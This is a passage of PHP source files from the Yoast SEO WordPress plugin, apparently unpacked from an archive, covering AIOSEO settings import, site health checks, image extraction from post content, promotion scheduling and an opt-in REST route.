not match the given Plugin or Type. * * @param Importing_Action_Interface[] $all_actions The complete list of actions. * @param string|null $plugin The Plugin name whose actions to keep. * @param string|null $type The type of actions to keep. * * @return array */ public function filter_actions( $all_actions, $plugin = null, $type = null ) { return \array_filter( $all_actions, static function ( $action ) use ( $plugin, $type ) { return $action->is_compatible_with( $plugin, $type ); }, ); } } services/importing/aioseo/aioseo-replacevar-service.php000064400000006641152076256120017443 0ustar00 '%%archive_title%%', '#archive_date' => '%%date%%', '#attachment_caption' => '%%caption%%', '#author_bio' => '%%user_description%%', '#author_first_name' => '%%author_first_name%%', '#author_last_name' => '%%author_last_name%%', '#author_name' => '%%name%%', '#blog_title' => '%%sitename%%', // Same with #site_title. '#categories' => '%%category%%', '#current_date' => '%%currentdate%%', '#current_day' => '%%currentday%%', '#current_month' => '%%currentmonth%%', '#current_year' => '%%currentyear%%', '#parent_title' => '%%parent_title%%', '#page_number' => '%%pagenumber%%', '#permalink' => '%%permalink%%', '#post_content' => '%%post_content%%', '#post_date' => '%%date%%', '#post_day' => '%%post_day%%', '#post_month' => '%%post_month%%', '#post_title' => '%%title%%', '#post_year' => '%%post_year%%', '#post_excerpt_only' => '%%excerpt_only%%', '#post_excerpt' => '%%excerpt%%', '#search_term' => '%%searchphrase%%', '#separator_sa' => '%%sep%%', '#site_title' => '%%sitename%%', '#tagline' => '%%sitedesc%%', '#taxonomy_title' => '%%category_title%%', '#taxonomy_description' => '%%term_description%%', ]; /** * Edits the replace_vars map of the class. * * @param string $aioseo_var The AIOSEO replacevar. * @param string $yoast_var The Yoast replacevar. * * @return void */ public function compose_map( $aioseo_var, $yoast_var ) { $map = $this->replace_vars_map; $map[ $aioseo_var ] = $yoast_var; $this->replace_vars_map = $map; } /** * Transforms AIOSEO replacevars into Yoast replacevars. * * @param string $aioseo_replacevar The AIOSEO replacevar. * * @return string The Yoast replacevar. */ public function transform( $aioseo_replacevar ) { $yoast_replacevar = \str_replace( \array_keys( $this->replace_vars_map ), \array_values( $this->replace_vars_map ), $aioseo_replacevar ); // Transform the '#custom_field-' tags into '%%cf_%%' ones. $yoast_replacevar = \preg_replace_callback( '/#custom_field-([a-zA-Z0-9_-]+)/', static function ( $cf_matches ) { return '%%cf_' . $cf_matches[1] . '%%'; }, $yoast_replacevar, ); // Transform the '#tax_name-' tags into '%%ct_%%' ones. $yoast_replacevar = \preg_replace_callback( '/#tax_name-([a-zA-Z0-9_-]+)/', static function ( $ct_matches ) { return '%%ct_' . $ct_matches[1] . '%%'; }, $yoast_replacevar, ); return $yoast_replacevar; } } services/importing/aioseo/aioseo-robots-provider-service.php000064400000003251152076256120020451 0ustar00aioseo_helper = $aioseo_helper; } /** * Retrieves the robot setting set globally in AIOSEO. * * @param string $setting_name The name of the robot setting, eg. noindex. * * @return bool Whether global robot settings enable or not the specific setting. */ public function get_global_robot_settings( $setting_name ) { $aioseo_settings = $this->aioseo_helper->get_global_option(); if ( empty( $aioseo_settings ) ) { return false; } $global_robot_settings = $aioseo_settings['searchAppearance']['advanced']['globalRobotsMeta']; if ( $global_robot_settings['default'] === true ) { return false; } return $global_robot_settings[ $setting_name ]; } /** * Gets the subtype's robot setting from the db. * * @param array $mapping The mapping of the setting we're working with. * * @return bool The robot setting. */ public function get_subtype_robot_setting( $mapping ) { $aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true ); return $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta'][ $mapping['robot_type'] ]; } } services/importing/aioseo/aioseo-social-images-provider-service.php000064400000010647152076256120021665 0ustar00aioseo_helper = $aioseo_helper; $this->image = $image; } /** * Retrieves the default source of social images. * * @param string $social_setting The social settings we're working with, eg. open-graph or twitter. * * @return string The default source of social images. */ public function get_default_social_image_source( $social_setting ) { return $this->get_social_defaults( 'source', $social_setting ); } /** * Retrieves the default custom social image if there is any. * * @param string $social_setting The social settings we're working with, eg. open-graph or twitter. * * @return string The global default social image. */ public function get_default_custom_social_image( $social_setting ) { return $this->get_social_defaults( 'custom_image', $social_setting ); } /** * Retrieves social defaults, be it Default Post Image Source or Default Post Image. * * @param string $setting The setting we want, eg. source or custom image. * @param string $social_setting The social settings we're working with, eg. open-graph or twitter. * * @return string The social default. */ public function get_social_defaults( $setting, $social_setting ) { switch ( $setting ) { case 'source': $setting_key = 'defaultImageSourcePosts'; break; case 'custom_image': $setting_key = 'defaultImagePosts'; break; default: return ''; } $aioseo_settings = $this->aioseo_helper->get_global_option(); if ( $social_setting === 'og' ) { $social_setting = 'facebook'; } if ( ! isset( $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ] ) ) { return ''; } return $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ]; } /** * Retrieves the url of the first image in content. * * @param int $post_id The post id to extract the image from. * * @return string The url of the first image in content. */ public function get_first_image_in_content( $post_id ) { $image = $this->image->get_gallery_image( $post_id ); if ( ! $image ) { $image = $this->image->get_post_content_image( $post_id ); } return $image; } /** * Retrieves the url of the first attached image. * * @param int $post_id The post id to extract the image from. * * @return string The url of the first attached image. */ public function get_first_attached_image( $post_id ) { if ( \get_post_type( $post_id ) === 'attachment' ) { return $this->image->get_attachment_image_source( $post_id, 'fullsize' ); } $attachments = \get_children( [ 'post_parent' => $post_id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', ], ); if ( $attachments && ! empty( $attachments ) ) { return $this->image->get_attachment_image_source( \array_values( $attachments )[0]->ID, 'fullsize' ); } return ''; } /** * Retrieves the url of the featured image. * * @param int $post_id The post id to extract the image from. * * @return string The url of the featured image. */ public function get_featured_image( $post_id ) { $feature_image_id = \get_post_thumbnail_id( $post_id ); if ( $feature_image_id ) { return $this->image->get_attachment_image_source( $feature_image_id, 'fullsize' ); } return ''; } /** * Retrieves the url of the first available image. Tries each image source to get one image. * * @param int $post_id The post id to extract the image from. * * @return string The url of the featured image. */ public function get_auto_image( $post_id ) { $image = $this->get_first_attached_image( $post_id ); if ( ! $image ) { $image = $this->get_first_image_in_content( $post_id ); } return $image; } } services/importing/aioseo/aioseo-robots-transformer-service.php000064400000003323152076256120021161 0ustar00robots_provider = $robots_provider; } /** * Transforms the robot setting, taking into consideration whether they defer to global defaults. * * @param string $setting_name The name of the robot setting, eg. noindex. * @param bool $setting_value The value of the robot setting. * @param array $mapping The mapping of the setting we're working with. * * @return bool The transformed robot setting. */ public function transform_robot_setting( $setting_name, $setting_value, $mapping ) { $aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true ); // Let's check first if it defers to global robot settings. if ( empty( $aioseo_settings ) || ! isset( $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default'] ) ) { return $setting_value; } $defers_to_defaults = $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default']; if ( $defers_to_defaults ) { return $this->robots_provider->get_global_robot_settings( $setting_name ); } return $setting_value; } } services/indexables/indexable-version-manager.php000064400000004440152076256120016254 0ustar00indexable_builder_versions = $indexable_builder_versions; } /** * Determines if an Indexable has a lower version than the builder for that Indexable's type. * * @param Indexable $indexable The Indexable to check. * * @return bool True if the given version is older than the current latest version. */ public function indexable_needs_upgrade( $indexable ) { if ( ( ! $indexable ) || ( ! \is_a( $indexable, Indexable::class ) ) ) { return false; } return $this->needs_upgrade( $indexable->object_type, $indexable->version ); } /** * Determines if an Indexable version for the type is lower than the current version for that Indexable type. * * @param string $object_type The Indexable's object type. * @param int $indexable_version The Indexable's version. * * @return bool True if the given version is older than the current latest version. */ protected function needs_upgrade( $object_type, $indexable_version ) { $current_indexable_builder_version = $this->indexable_builder_versions->get_latest_version_for_type( $object_type ); // If the Indexable's version is below the current version, that Indexable needs updating. return $indexable_version < $current_indexable_builder_version; } /** * Sets an Indexable's version to the latest version. * * @param Indexable $indexable The Indexable to update. * * @return Indexable */ public function set_latest( $indexable ) { if ( ! $indexable ) { return $indexable; } $indexable->version = $this->indexable_builder_versions->get_latest_version_for_type( $indexable->object_type ); return $indexable; } } services/health-check/default-tagline-runner.php000064400000002311152076256120015777 0ustar00has_default_tagline = $translated_blog_description === $blog_description || $blog_description === self::DEFAULT_BLOG_DESCRIPTION; } /** * Returns true if the tagline is set to a non-default tagline. * * @return bool The boolean indicating if the health check was succesful. */ public function is_successful() { return ! $this->has_default_tagline; } } services/health-check/default-tagline-reports.php000064400000004411152076256120016167 0ustar00report_builder_factory = $report_builder_factory; } /** * Returns the message for a successful health check. * * @return string[] The message as a WordPress site status report. */ public function get_success_result() { return $this->get_report_builder() ->set_label( \__( 'You changed the default WordPress tagline', 'wordpress-seo' ) ) ->set_status_good() ->set_description( \__( 'You are using a custom tagline or an empty one.', 'wordpress-seo' ) ) ->build(); } /** * Returns the message for a failed health check. In this case, when the user still has the default WordPress tagline set. * * @return string[] The message as a WordPress site status report. */ public function get_has_default_tagline_result() { return $this->get_report_builder() ->set_label( \__( 'You should change the default WordPress tagline', 'wordpress-seo' ) ) ->set_status_recommended() ->set_description( \__( 'You still have the default WordPress tagline. Even an empty one is probably better.', 'wordpress-seo' ) ) ->set_actions( $this->get_actions() ) ->build(); } /** * Returns the actions that the user should take when his tagline is still set to the WordPress default. * * @return string The actions as an HTML string. */ private function get_actions() { $query_args = [ 'autofocus[control]' => 'blogdescription', ]; $customize_url = \add_query_arg( $query_args, \wp_customize_url() ); return \sprintf( /* translators: 1: link open tag; 2: link close tag. */ \esc_html__( '%1$sYou can change the tagline in the customizer%2$s.', 'wordpress-seo' ), '', '', ); } } services/health-check/health-check.php000064400000004455152076256120013756 0ustar00runner = $runner; } /** * Returns the identifier of health check implementation. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/). * * @return string The identifier that WordPress requires. */ public function get_test_identifier() { $full_class_name = static::class; $class_name_backslash_index = \strrpos( $full_class_name, '\\' ); $class_name = $full_class_name; if ( $class_name_backslash_index ) { $class_name_index = ( $class_name_backslash_index + 1 ); $class_name = \substr( $full_class_name, $class_name_index ); } $lowercase = \strtolower( $class_name ); $whitespace_as_dashes = \str_replace( '_', '-', $lowercase ); $with_prefix = self::TEST_IDENTIFIER_PREFIX . $whitespace_as_dashes; return $with_prefix; } /** * Runs the health check, and returns its result in the format that WordPress requires to show the results to the user (https://developer.wordpress.org/reference/hooks/site_status_test_result/). * * @return string[] The array containing a WordPress site status report. */ public function run_and_get_result() { $this->runner->run(); return $this->get_result(); } /** * Gets the result from the health check implementation. * * @return string[] The array containing a WordPress site status report. */ abstract protected function get_result(); /** * Returns whether the health check should be excluded from the results. * * @return bool Whether the check should be excluded. */ abstract public function is_excluded(); } services/health-check/postname-permalink-reports.php000064400000005251152076256120016733 0ustar00report_builder_factory = $report_builder_factory; } /** * Returns the report for when permalinks are set to contain the post name. * * @return string[] The message as a WordPress site status report. */ public function get_success_result() { return $this->get_report_builder() ->set_label( \esc_html__( 'Your permalink structure includes the post name', 'wordpress-seo' ) ) ->set_status_good() ->set_description( \__( 'You do have your postname in the URL of your posts and pages.', 'wordpress-seo' ) ) ->build(); } /** * Returns the report for when permalinks are not set to contain the post name. * * @return string[] The message as a WordPress site status report. */ public function get_has_no_postname_in_permalink_result() { return $this->get_report_builder() ->set_label( \__( 'You do not have your postname in the URL of your posts and pages', 'wordpress-seo' ) ) ->set_status_recommended() ->set_description( $this->get_has_no_postname_in_permalink_description() ) ->set_actions( $this->get_has_no_postname_in_permalink_actions() ) ->build(); } /** * Returns the description for when permalinks are not set to contain the post name. * * @return string The description as a string. */ private function get_has_no_postname_in_permalink_description() { return \sprintf( /* translators: %s expands to '/%postname%/' */ \__( 'It\'s highly recommended to have your postname in the URL of your posts and pages. Consider setting your permalink structure to %s.', 'wordpress-seo' ), '/%postname%/', ); } /** * Returns the actions for when permalinks are not set to contain the post name. * * @return string The actions as a string. */ private function get_has_no_postname_in_permalink_actions() { return \sprintf( /* translators: %1$s is a link start tag to the permalink settings page, %2$s is the link closing tag. */ \__( 'You can fix this on the %1$sPermalink settings page%2$s.', 'wordpress-seo' ), '', '', ); } } services/health-check/page-comments-runner.php000064400000001503152076256130015474 0ustar00comments_on_single_page = false; } /** * Runs the health check. Checks if comments are displayed on a single page. * * @return void */ public function run() { $this->comments_on_single_page = \get_option( 'page_comments' ) !== '1'; } /** * Returns true if comments are displayed on a single page. * * @return bool True if comments are displayed on a single page. */ public function is_successful() { return $this->comments_on_single_page; } } services/health-check/myyoast-api-request-factory.php000064400000000751152076256130017041 0ustar00runner = $runner; $this->reports = $reports; $this->reports->set_test_identifier( $this->get_test_identifier() ); $this->set_runner( $this->runner ); } /** * Returns the WordPress-friendly health check result. * * @return string[] The WordPress-friendly health check result. */ protected function get_result() { if ( $this->runner->is_successful() ) { return $this->reports->get_success_result(); } return $this->reports->get_has_comments_on_multiple_pages_result(); } /** * Returns whether the health check should be excluded from the results. * * @return bool false, because it's not excluded. */ public function is_excluded() { return false; } } services/health-check/postname-permalink-runner.php000064400000001614152076256130016546 0ustar00permalinks_contain_postname = false; } /** * Runs the health check. Checks if permalinks are set to contain the post name. * * @return void */ public function run() { $this->permalinks_contain_postname = ( \strpos( \get_option( 'permalink_structure' ), '%postname%' ) !== false ); } /** * Returns true if permalinks are set to contain the post name. * * @return bool True if permalinks are set to contain the post name. */ public function is_successful() { return $this->permalinks_contain_postname; } } services/health-check/links-table-reports.php000064400000006653152076256130015342 0ustar00report_builder_factory = $report_builder_factory; $this->shortlinker = $shortlinker; } /** * Returns the message for a successful health check. * * @return string[] The message as a WordPress site status report. */ public function get_success_result() { return $this->get_report_builder() ->set_label( \__( 'The text link counter is working as expected', 'wordpress-seo' ) ) ->set_status_good() ->set_description( $this->get_success_description() ) ->build(); } /** * Returns the message for a failed health check. * * @return string[] The message as a WordPress site status report. */ public function get_links_table_not_accessible_result() { return $this->get_report_builder() ->set_label( \__( 'The text link counter feature is not working as expected', 'wordpress-seo' ) ) ->set_status_recommended() ->set_description( $this->get_links_table_not_accessible_description() ) ->set_actions( $this->get_actions() ) ->build(); } /** * Returns the description for when the health check was successful. * * @return string The description as a string. */ private function get_success_description() { return \sprintf( /* translators: 1: Link to the Yoast SEO blog, 2: Link closing tag. */ \esc_html__( 'The text link counter helps you improve your site structure. %1$sFind out how the text link counter can enhance your SEO%2$s.', 'wordpress-seo' ), '', WPSEO_Admin_Utils::get_new_tab_message() . '', ); } /** * Returns the description for when the health couldn't access the links table. * * @return string The description as a string. */ private function get_links_table_not_accessible_description() { return \sprintf( /* translators: 1: Yoast SEO. */ \__( 'For this feature to work, %1$s needs to create a table in your database. We were unable to create this table automatically.', 'wordpress-seo' ), 'Yoast SEO', ); } /** * Returns the actions that the user should take when the links table is not accessible. * * @return string The actions as a string. */ private function get_actions() { return \sprintf( /* translators: 1: Link to the Yoast help center, 2: Link closing tag. */ \esc_html__( '%1$sFind out how to solve this problem on our help center%2$s.', 'wordpress-seo' ), '', WPSEO_Admin_Utils::get_new_tab_message() . '', ); } } services/health-check/default-tagline-check.php000064400000002633152076256130015553 0ustar00runner = $runner; $this->reports = $reports; $this->reports->set_test_identifier( $this->get_test_identifier() ); $this->set_runner( $this->runner ); } /** * Returns the WordPress-friendly health check result. * * @return string[] The WordPress-friendly health check result. */ protected function get_result() { if ( $this->runner->is_successful() ) { return $this->reports->get_success_result(); } return $this->reports->get_has_default_tagline_result(); } /** * Returns whether the health check should be excluded from the results. * * @return bool false, because it's not excluded. */ public function is_excluded() { return false; } } services/health-check/report-builder-factory.php000064400000000720152076256130016032 0ustar00set_test_identifier( $test_identifier ); } } services/health-check/page-comments-reports.php000064400000004612152076256130015665 0ustar00report_builder_factory = $report_builder_factory; } /** * Returns the report for when comments are set to be all on one page. * * @return string[] The message as a WordPress site status report. */ public function get_success_result() { return $this->get_report_builder() ->set_label( \esc_html__( 'Comments are displayed on a single page', 'wordpress-seo' ) ) ->set_status_good() ->set_description( \__( 'Comments on your posts are displayed on a single page. This is just like we\'d suggest it. You\'re doing well!', 'wordpress-seo' ) ) ->build(); } /** * Returns the report for when comments are set to be broken up across multiple pages. * * @return string[] The message as a WordPress site status report. */ public function get_has_comments_on_multiple_pages_result() { return $this->get_report_builder() ->set_label( \__( 'Comments break into multiple pages', 'wordpress-seo' ) ) ->set_status_recommended() ->set_description( \__( 'Comments on your posts break into multiple pages. As this is not needed in 999 out of 1000 cases, we recommend you disable it. To fix this, uncheck "Break comments into pages..." on the Discussion Settings page.', 'wordpress-seo' ) ) ->set_actions( $this->get_has_comments_on_multiple_pages_actions() ) ->build(); } /** * Returns the actions for when the comments are set to be broken up across multiple pages. * * @return string The actions as a string. */ private function get_has_comments_on_multiple_pages_actions() { return \sprintf( /* translators: 1: Opening tag of the link to the discussion settings page, 2: Link closing tag. */ \esc_html__( '%1$sGo to the Discussion Settings page%2$s', 'wordpress-seo' ), '', '', ); } } services/health-check/links-table-check.php000064400000003773152076256140014722 0ustar00runner = $runner; $this->reports = $reports; $this->should_index_links_conditional = $should_index_links_conditional; $this->reports->set_test_identifier( $this->get_test_identifier() ); $this->set_runner( $this->runner ); } /** * Returns the WordPress-friendly health check result. * * @return string[] The WordPress-friendly health check result. */ protected function get_result() { if ( $this->runner->is_successful() ) { return $this->reports->get_success_result(); } return $this->reports->get_links_table_not_accessible_result(); } /** * Returns whether the health check should be excluded from the results. * * @return bool false, because it's not excluded. */ public function is_excluded() { return ! $this->should_index_links_conditional->is_met(); } } services/health-check/reports-trait.php000064400000001637152076256140014256 0ustar00test_identifier = $test_identifier; } /** * Returns a new Report_Builder instance using the set test identifier. * * @return Report_Builder */ private function get_report_builder() { return $this->report_builder_factory->create( $this->test_identifier ); } } services/health-check/postname-permalink-check.php000064400000002635152076256140016317 0ustar00runner = $runner; $this->reports = $reports; $this->reports->set_test_identifier( $this->get_test_identifier() ); $this->set_runner( $this->runner ); } /** * Returns the WordPress-friendly health check result. * * @return string[] The WordPress-friendly health check result. */ protected function get_result() { if ( $this->runner->is_successful() ) { return $this->reports->get_success_result(); } return $this->reports->get_has_no_postname_in_permalink_result(); } /** * Returns whether the health check should be excluded from the results. * * @return bool false, because it's not excluded. */ public function is_excluded() { return false; } } services/health-check/report-builder.php000064400000011670152076256140014374 0ustar00label = $label; return $this; } /** * Sets the name for the test that the plugin uses to identify the test. * * @param string $test_identifier The identifier for the health check. * @return Report_Builder This builder. */ public function set_test_identifier( $test_identifier ) { $this->test_identifier = $test_identifier; return $this; } /** * Sets the status of the test result to GOOD (green label). * * @return Report_Builder This builder. */ public function set_status_good() { $this->status = self::STATUS_GOOD; return $this; } /** * Sets the status of the test result to RECOMMENDED (orange label). * * @return Report_Builder This builder. */ public function set_status_recommended() { $this->status = self::STATUS_RECOMMENDED; return $this; } /** * Sets the status of the test result to CRITICAL (red label). * * @return Report_Builder This builder. */ public function set_status_critical() { $this->status = self::STATUS_CRITICAL; return $this; } /** * Sets a description for the test result. This will be the heading for the result in the user interface. * * @param string $description The description for the test result. * @return Report_Builder This builder. */ public function set_description( $description ) { $this->description = $description; return $this; } /** * Sets a text that describes how the user can solve the failed health check. * * @param string $actions The descriptive text. * @return Report_Builder This builder. */ public function set_actions( $actions ) { $this->actions = $actions; return $this; } /** * Builds an array of strings in the format that WordPress uses to display health checks (https://developer.wordpress.org/reference/hooks/site_status_test_result/). * * @return array The report in WordPress' site status report format. */ public function build() { return [ 'label' => $this->label, 'status' => $this->status, 'badge' => $this->get_badge(), 'description' => $this->description, 'actions' => $this->get_actions_with_signature(), 'test' => $this->test_identifier, ]; } /** * Generates a badge that the user can see. * * @return string[] The badge. */ private function get_badge() { return [ 'label' => $this->get_badge_label(), 'color' => $this->get_badge_color(), ]; } /** * Generates the label for a badge. * * @return string The badge label. */ private function get_badge_label() { return \__( 'SEO', 'wordpress-seo' ); } /** * Generates the color for the badge using the current status. * * @return string The color for the badge's outline. */ private function get_badge_color() { if ( $this->status === self::STATUS_CRITICAL || $this->status === self::STATUS_RECOMMENDED ) { return 'red'; } return 'blue'; } /** * Concatenates the set actions with Yoast's signature. * * @return string A string containing the set actions and Yoast's signature. */ private function get_actions_with_signature() { return $this->actions . $this->get_signature(); } /** * Generates Yoast's signature that's displayed at the bottom of the health check result. * * @return string Yoast's signature as an HTML string. */ private function get_signature() { return \sprintf( /* translators: 1: Start of a paragraph beginning with the Yoast icon, 2: Expands to 'Yoast SEO', 3: Paragraph closing tag. */ \esc_html__( '%1$sThis was reported by the %2$s plugin%3$s', 'wordpress-seo' ), '

      ', 'Yoast SEO', '

      ', ); } } services/health-check/links-table-runner.php000064400000003121152076256140015141 0ustar00migration_status = $migration_status; $this->options_helper = $options_helper; } /** * Runs the health check. Checks if the tagline is set to WordPress' default tagline, or to its set translation. * * @return void */ public function run() { $this->links_table_accessible = $this->migration_status->is_version( 'free', \WPSEO_VERSION ); } /** * Returns true if the links table is accessible * * @return bool The boolean indicating if the health check was succesful. */ public function is_successful() { return $this->links_table_accessible; } } services/health-check/runner-interface.php000064400000000425152076256140014700 0ustar00gather_images_wp( $content ); } if ( ! $should_not_parse_content && \class_exists( DOMDocument::class ) ) { return $this->gather_images_DOMDocument( $content ); } if ( \strpos( $content, 'src' ) === false ) { // Nothing to do. return []; } $images = []; $regexp = ']*src=("??)([^" >]*?)\\1[^>]*>'; // Used modifiers iU to match case insensitive and make greedy quantifiers lazy. if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) { foreach ( $matches as $match ) { $images[ $match[2] ] = 0; } } return $images; } /** * Gathers all images from content with WP's WP_HTML_Tag_Processor() and returns them along with their IDs, if * possible. * * @param string $content The content. * * @return int[] An associated array of image IDs, keyed by their URL. */ protected function gather_images_wp( $content ) { $processor = new WP_HTML_Tag_Processor( $content ); $images = []; $query = [ 'tag_name' => 'img', ]; /** * Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from. * * Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-` format. * * @api string The attribute to be used to extract image IDs from. */ $attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' ); while ( $processor->next_tag( $query ) ) { $src_raw = $processor->get_attribute( 'src' ); if ( ! $src_raw ) { continue; } $src = \htmlentities( $src_raw, ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), \get_bloginfo( 'charset' ) ); $classes = $processor->get_attribute( $attribute ); $id = $this->extract_id_of_classes( $classes ); $images[ $src ] = $id; } return $images; } /** * Gathers all images from content with DOMDocument() and returns them along with their IDs, if possible. * * @param string $content The content. * * @return int[] An associated array of image IDs, keyed by their URL. */ protected function gather_images_domdocument( $content ) { $images = []; $charset = \get_bloginfo( 'charset' ); /** * Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from. * * Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-` format. * * @api string The attribute to be used to extract image IDs from. */ $attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' ); \libxml_use_internal_errors( true ); $post_dom = new DOMDocument(); $post_dom->loadHTML( '' . $content ); \libxml_clear_errors(); foreach ( $post_dom->getElementsByTagName( 'img' ) as $img ) { $src = \htmlentities( $img->getAttribute( 'src' ), ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), $charset ); $classes = $img->getAttribute( $attribute ); $id = $this->extract_id_of_classes( $classes ); $images[ $src ] = $id; } return $images; } /** * Extracts image ID out of the image's classes. * * @param string $classes The classes assigned to the image. * * @return int The ID that's extracted from the classes. */ protected function extract_id_of_classes( $classes ) { if ( ! $classes ) { return 0; } /** * Filter 'wpseo_extract_id_pattern' - Allows filtering the regex patern to be used to extract image IDs from class/attribute names. * * Defaults to the pattern that extracts image IDs from core's `wp-image-` native format in image classes. * * @api string The regex pattern to be used to extract image IDs from class names. Empty string if the whole class/attribute should be returned. */ $pattern = \apply_filters( 'wpseo_extract_id_pattern', '/(?time_start = $time_start; $this->time_end = $time_end; } /** * Checks if the given time is within the interval. * * @param int $time The time to check. * * @return bool Whether the given time is within the interval. */ public function contains( int $time ): bool { return ( ( $time > $this->time_start ) && ( $time < $this->time_end ) ); } /** * Sets the interval astarting date. * * @param int $time_start The interval start time. * * @return void */ public function set_start_date( int $time_start ) { $this->time_start = $time_start; } /** * Sets the interval ending date. * * @param int $time_end The interval end time. * * @return void */ public function set_end_date( int $time_end ) { $this->time_end = $time_end; } } promotions/domain/abstract-promotion.php000064400000002030152076256150014570 0ustar00promotion_name = $promotion_name; $this->time_interval = $time_interval; } /** * Returns the promotion name. * * @return string */ public function get_promotion_name() { return $this->promotion_name; } /** * Returns the time interval in which the promotion is active. * * @return Time_Interval */ public function get_time_interval() { return $this->time_interval; } } promotions/domain/black-friday-promotion.php000064400000000650152076256150015323 0ustar00 */ private $promotions_list = []; /** * Class constructor. * * @param Promotion_Interface ...$promotions List of promotions. */ public function __construct( Promotion_Interface ...$promotions ) { $this->promotions_list = $promotions; } /** * Whether the promotion is effective. * * @param string $promotion_name The name of the promotion. * * @return bool Whether the promotion is effective. */ public function is( string $promotion_name ): bool { $time = \time(); foreach ( $this->promotions_list as $promotion ) { if ( $promotion->get_promotion_name() === $promotion_name ) { return $promotion->get_time_interval()->contains( $time ); } } return false; } /** * Get the list of promotions. * * @return array The list of promotions. */ public function get_promotions_list(): array { return $this->promotions_list; } /** * Get the names of currently active promotions. * * @return array The list of promotions. */ public function get_current_promotions(): array { $current_promotions = []; $time = \time(); foreach ( $this->promotions_list as $promotion ) { if ( $promotion->get_time_interval()->contains( $time ) ) { $current_promotions[] = $promotion->get_promotion_name(); } } return $current_promotions; } } loadable-interface.php000064400000000436152076256160010773 0ustar00 The array of conditionals. */ public static function get_conditionals() { return [ User_Can_Manage_Wpseo_Options_Conditional::class, ]; } /** * Constructs Opt_In_Route. * * @param User_Helper $user_helper The user helper. * @param Capability_Helper $capability_helper The capability helper. */ public function __construct( User_Helper $user_helper, Capability_Helper $capability_helper ) { $this->user_helper = $user_helper; $this->capability_helper = $capability_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $opt_in_seen_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'set_opt_in_seen' ], 'permission_callback' => [ $this, 'can_see_opt_in' ], 'args' => [ 'key' => [ 'required' => true, 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'validate_callback' => [ $this, 'validate_key' ], ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::SEEN_ROUTE, $opt_in_seen_route_args ); } /** * Sets the opt-in notification as seen. * * @param WP_REST_Request $request The request. This request should have a key param set. * * @return WP_REST_Response The response. */ public function set_opt_in_seen( $request ) { $key = $request->get_param( 'key' ); $current_user_id = $this->user_helper->get_current_user_id(); $result = $this->user_helper->update_meta( $current_user_id, '_yoast_wpseo_' . $key . '_opt_in_notification_seen', true ); $success = $result !== false; $status = ( $success ) ? 200 : 400; return new WP_REST_Response( (object) [ 'success' => $success, 'status' => $status, ], $status, ); } /** * Whether or not the current user is allowed to see the opt-in notification. * * @return bool Whether or not the current user is allowed to see the opt-in notification. */ public function can_see_opt_in() { return $this->capability_helper->current_user_can( 'wpseo_manage_options' ); } /** * Validates the key parameter. * * @param string $key The key to validate. * * @return bool Whether the key is valid. */ public function validate_key( $key ) { $allowed_keys = [ 'task_list', ]; return \in_array( $key, $allowed_keys, true ); } } general/user-interface/general-page-integration.php000064400000021776152076256160016505 0ustar00asset_manager = $asset_manager; $this->current_page_helper = $current_page_helper; $this->product_helper = $product_helper; $this->shortlink_helper = $shortlink_helper; $this->notification_helper = $notification_helper; $this->alert_dismissal_action = $alert_dismissal_action; $this->promotion_manager = $promotion_manager; $this->dashboard_configuration = $dashboard_configuration; $this->user_helper = $user_helper; $this->options_helper = $options_helper; $this->woocommerce_conditional = $woocommerce_conditional; $this->addon_manager = $addon_manager; $this->task_list_configuration = $task_list_configuration; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class, Non_Network_Admin_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] ); // Are we on the dashboard page? if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); } } /** * Adds the page. * * @param array> $pages The pages. * * @return array> The pages. */ public function add_page( $pages ) { \array_splice( $pages, 0, 0, [ [ self::PAGE, '', \__( 'General', 'wordpress-seo' ), 'wpseo_manage_options', self::PAGE, [ $this, 'display_page' ], ], ], ); return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
